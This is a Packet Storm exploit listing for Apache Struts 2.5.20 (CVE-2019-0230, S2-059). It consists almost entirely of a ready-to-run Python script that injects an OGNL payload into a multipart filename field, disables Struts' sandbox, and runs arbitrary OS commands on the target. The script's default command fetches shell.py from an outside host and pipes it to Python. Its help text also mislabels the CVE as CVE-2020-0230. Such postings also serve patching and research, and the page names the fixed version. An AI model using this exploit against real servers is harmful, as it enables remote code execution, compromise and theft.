Lucene search

K
packetstormWest ShepherdPACKETSTORM:160108
HistoryNov 17, 2020 - 12:00 a.m.

Apache Struts 2.5.20 Double OGNL Evaluation

2020-11-1700:00:00
West Shepherd
packetstormsecurity.com
598
`# Exploit Title: Apache Struts 2.5.20 - Double OGNL evaluation  
# Date: 08/18/2020  
# Exploit Author: West Shepherd  
# Vendor Homepage: https://struts.apache.org/download.cgi  
# Version: Struts 2.0.0 - Struts 2.5.20 (S2-059)  
# CVE : CVE-2019-0230  
# Credit goes to reporters Matthias Kaiser, Apple InformationSecurity, and the Github example from PrinceFPF.  
# Source(s):  
# https://github.com/PrinceFPF/CVE-2019-0230  
# https://cwiki.apache.org/confluence/display/WW/S2-059  
# *Fix it, upgrade to: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.22  
  
# !/usr/bin/python  
from sys import argv, exit, stdout, stderr  
import argparse  
import requests  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
import logging  
  
  
class Exploit:  
def __init__(  
self,  
target='',  
redirect=False,  
proxy_address=''  
):  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
self.target = target  
self.session = requests.session()  
self.redirect = redirect  
self.timeout = 0.5  
self.proxies = {  
'http': 'http://%s' % proxy_address,  
'https': 'http://%s' % proxy_address  
} \  
if proxy_address is not None \  
and proxy_address != '' else {}  
self.query_params = {}  
self.form_values = {}  
self.cookies = {}  
boundary = "---------------------------735323031399963166993862150"  
self.headers = {  
'Content-Type': 'multipart/form-data; boundary=%s' % boundary,  
'Accept': '*/*',  
'Connection': 'close'  
}  
payload = "%{(#nike='multipart/form-data')." \  
"(#[email protected]@DEFAULT_MEMBER_ACCESS)." \  
"(#_memberAccess?(#_memberAccess=#dm):" \  
  
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."  
\  
  
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."  
\  
"(#ognlUtil.getExcludedPackageNames().clear())." \  
"(#ognlUtil.getExcludedClasses().clear())." \  
"(#context.setMemberAccess(#dm)))).(#cmd='{COMMAND}')." \  
  
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."  
\  
  
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \  
"(#p=new  
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))." \  
  
"(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse()."  
\  
  
"getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."  
\  
"(#ros.flush())}"  
  
self.payload = "--%s\r\nContent-Disposition: form-data;  
name=\"foo\"; " \  
"filename=\"%s\0b\"\r\nContent-Type:  
text/plain\r\n\r\nx\r\n--%s--\r\n\r\n" % (  
boundary, payload, boundary  
)  
  
def do_get(self, url, params=None, data=None):  
return self.session.get(  
url=url,  
verify=False,  
allow_redirects=self.redirect,  
headers=self.headers,  
cookies=self.cookies,  
proxies=self.proxies,  
data=data,  
params=params  
)  
  
def do_post(self, url, data=None, params=None):  
return self.session.post(  
url=url,  
data=data,  
verify=False,  
allow_redirects=self.redirect,  
headers=self.headers,  
cookies=self.cookies,  
proxies=self.proxies,  
params=params  
)  
  
def debug(self):  
try:  
import http.client as http_client  
except ImportError:  
import httplib as http_client  
http_client.HTTPConnection.debuglevel = 1  
logging.basicConfig()  
logging.getLogger().setLevel(logging.DEBUG)  
requests_log = logging.getLogger("requests.packages.urllib3")  
requests_log.setLevel(logging.DEBUG)  
requests_log.propagate = True  
return self  
  
def send_payload(self, command='curl --insecure -sv  
https://10.10.10.10/shell.py|python -'):  
url = self.target  
stdout.write('sending payload to %s payload %s' % (url, command))  
resp = self.do_post(url=url, params=self.query_params,  
data=self.payload.replace('{COMMAND}', command))  
return resp  
  
  
if __name__ == '__main__':  
parser = argparse.ArgumentParser(add_help=True,  
description='CVE-2020-0230 Struts  
2 exploit')  
try:  
parser.add_argument('-target', action='store', help='Target  
address: http(s)://target.com/index.action')  
parser.add_argument('-command', action='store',  
help='Command to execute: touch /tmp/pwn')  
parser.add_argument('-debug', action='store', default=False,  
help='Enable debugging: False')  
parser.add_argument('-proxy', action='store', default='',  
help='Enable proxy: 10.10.10.10:8080')  
  
if len(argv) == 1:  
parser.print_help()  
exit(1)  
options = parser.parse_args()  
  
exp = Exploit(  
proxy_address=options.proxy,  
target=options.target  
)  
  
if options.debug:  
exp.debug()  
stdout.write('target %s debug %s proxy %s\n' % (  
options.target, options.debug, options.proxy  
))  
  
result = exp.send_payload(command=options.command)  
stdout.write('Response: %d\n' % result.status_code)  
  
except Exception as error:  
  
stderr.write('error in main %s' % str(error))  
`